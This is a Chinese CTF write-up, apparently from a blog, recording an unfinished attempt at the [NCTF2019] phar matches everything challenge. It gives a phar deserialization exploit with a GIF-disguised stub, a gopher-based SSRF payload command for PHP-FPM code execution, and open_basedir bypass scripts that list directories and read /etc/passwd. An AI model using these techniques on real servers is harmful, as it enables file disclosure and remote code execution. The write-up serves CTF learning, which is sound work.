写在前面:这篇文章并没有把这道题目做出来,一直找不到内网提供PHP-FPM的主机ip,就一直卡在这个地方,目前自己的能力不够,还不能解决这道题;现在将这篇做题的记录发出来,记录学习过程,希望将来回过头来再做这道题的时候能得心应手

第一部分 phar反序列化+文件头和文件名检测绕过

buu平台上给的github源码链接失效了,直接看的wp,一个简单的pop链构造,然后利用phar反序列化

exp.php

<?phpclass Easytest{protected $test = '1';
}
class Main{public $url="http://10.128.253.13";
}
//读/etc/hosts 发现不了内网ip
//需要读 /proc/net/arp
$a = new Easytest();
echo urlencode(serialize($a));
$b = new Main();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->addFromString("text.txt","text");
$phar->setMetadata($b);
$phar->stopBuffering();
rename("phar.phar","phar.gif");

第二部分 SSRF + gopher协议打fpm

1、首先了解fpm是什么,参考p神文章

  • FastCGI record 类似HTTP协议,作用对象是服务器的中间件与后端语言进行通信
  • FPM(FastCGI Process Manager 叫做FastCGI 进程管理器), FPM按照fastcgi的协议将TCP流解析成真正的数据
  • Nignx 会把用户请求变成 key-value对(环境变量),交付给FPM。php-fpm拿到fast-cgi的数据包,进行解析,执行 SCRIPT_FILENAME所指的文件

2、PHP-FPM未授权访问漏洞

  • security.limit_extensions配置(php_fpm),这个字段限定了只有某些特定文件才能被执行,默认是.php
  • 由于第一条的那个配置,想要利用未授权访问漏洞,必须找一个服务器上存在php文件,通过 find / -name "*.php"

3、PHP-FPM任意代码执行

​ 3.1、涉及到php.ini中两个有意思的配置

  • auto_prepend_file 用法:在执行目标文件之前,先包含这个字段指向的文件,如果设置为php://input,等于执行任何php文件前,都要包含post的内容,因此可以将待执行的代码放在body里
  • auto_append_file 用法:在执行目标完成之后,包含这个字段指向的文件

​ 3.2、涉及到PHP-FPM的两个环境变量,

  • PHP-VALUE 设置的模式包括PHP_INI_USERPHP_INI_ALL的选项

  • PHP-ADMIN-VALUE 除了disable_functions之外的所以选项

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

这个地方是个坑,还没找到内网的ip

找到开启fpm的ip,使用gopher脚本生成payload

python gopher.py 内网ip /var/www/html/index.php -p 9000 -c "<?php phpinfo();?>" -u

第三部分 绕过open_basedir的限制

1、首先open_basedir是什么

  • 字面意思,开放的基本路径,作为php.ini中的一个配置选项,将用户的活动区域限定在指定目录

  • open_basedir限制的是前缀,而不是目录名,在以下的文件夹和文件都可以访问

  • 若要限制仅在指定目录,需要用斜杠结束目录

    phpinfo中的core部分

2、如何绕过open_basedir的限制

2.1、利用DirectoryIterator + Glob协议直接列举目录

代码如下:

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){echo "{$f}<br/>";
}
?>

2.2、利用ini_set读取文件内容

代码如下:

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>//这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止

2.3、软链接绕过

代码如下:

<?phpmkdir("c");chdir("c");mkdir("d");chdir("d");chdir("..");chdir("..");symlink("c/d","tmplink");symlink("tmplink/../../1.txt","exploit");unlink("tmplink");mkdir("tmplink");echo file_get_contents("http://localhost/exploit");
?>

[NCTF2019]phar matches everything相关推荐

  1. BUUCTF:[NCTF2019]phar matches everything

    题目地址:https://buuoj.cn/challenges#[NCTF2019]phar%20matches%20everything 源码地址:https://github.com/swfan ...

  2. phar.php error 139,composer.phar 安装出现PHP Fatal error解决办法

    报错: PHP Fatal error:  Uncaught exception 'PharException' with message 'phar "C:\ProgramData\Com ...

  3. Jabba: hybrid error correction for long sequencing reads using maximal exact matches机译:Jabba:使用最大精

    Jabba: hybrid error correction for long sequencing reads using maximal exact matches 机译:Jabba:使用最大精确 ...

  4. php 7编译 phar,编译安装php7

    php7发布已经有一段时间了,运行性能与HHVM不相上下,甚至在某些环境下超越了HHVM.鸟哥是php7的主要开发者之一,关于php7的来龙去脉大家可以看这篇文章:鸟哥:写在PHP7发布之际一些话.p ...

  5. 打包phar文件过大的问题。

    根据一个开源工具得到的灵感,使用流打包,并使用token_get_all移除了所用PHP文件的空白.现在打包出来只有93k了.谢谢关注. 我一个简单的文件,加上一个symfony的process包,打 ...

  6. Java中 Character方法练习:字符串中英文字母个数 5435abc54abc3AHJ5 正则:matches([a-zA-Z0-9]{1})...

    package com.swift;public class String_Letter_Number_Test {public static void main(String[] args) {/* ...

  7. php phar 无法创建,php composer.phar install 安装问题

    输入 php composer.phar install 后出现下面报错,求大神指点 Loading composer repositories with package information In ...

  8. 解决Android中No resource found that matches android:TextAppearance.Material.Widget.Button.Inverse问题

    如果在刚够构建Android Studio项目的时候,运行发现,出现没找到资源的错误!找不到com.android.support/appcompat-v7/23.0.1/res/values-v23 ...

  9. zsh:no matches found 问题解决

    zsh:no matches found 问题解决 参考文章: (1)zsh:no matches found 问题解决 (2)https://www.cnblogs.com/rongfenglian ...

最新文章

  1. MyBatis中编写sql语句小于号报错
  2. Using Artica Squid Open Source Project to Build Powerful and Safe but Simple to Use Proxy
  3. web服务器 apache_如何配置Apache Web服务器
  4. Object_clone
  5. struts2验证码
  6. 怎么打断点_孩子注意力不集中怎么办?7招提升儿童专注力,方法简单效果好...
  7. windows程序设设计(2) SDK贴图
  8. 有钱人也开始消费降级了!
  9. AT&T拟利用电力线网络提供无线宽带服务
  10. python panel dataframe_Pandas面板(Panel)
  11. INTO CORRESPONDING FIELDS OF、去掉前导零,增加前导0。不显示物料号的前导零
  12. MFC文本编程--退格键的操作
  13. js简单实现根据身份证号码识别性别年龄生日
  14. Google MapReduce论文中文版
  15. 常见的压力面试题及面试技巧
  16. Pyecharts一文速学-绘制树形图实例+Python代码
  17. 编程训练-求矩阵乘积
  18. HTML5 入门( 一)
  19. JavaScript 自执行函数(闭包)
  20. 基于Java图书馆管理系统、JAVA图书借阅系统设计与实现 毕业设计开题报告

热门文章

  1. IO流(Java面试题)
  2. linux虚拟主机建站程序,【BlueHost Linux虚拟主机建站过程】
  3. 基于3DSOM的侧影轮廓方法空间三维模型重建
  4. 基于报表系统的的企业数据管理
  5. 性能工具之Java调试工具BTrace入门
  6. Wav2Lip原理以及训练
  7. 分区 读取参数错误_如何修复“警告:重新读取分区表失败,错误22:参数无效”在Linux上错误...
  8. 【Jenkins】节点的配置与项目绑定
  9. 阿里云平台产品功能实战详解
  10. 项目管理软件project下载安装配置图文教程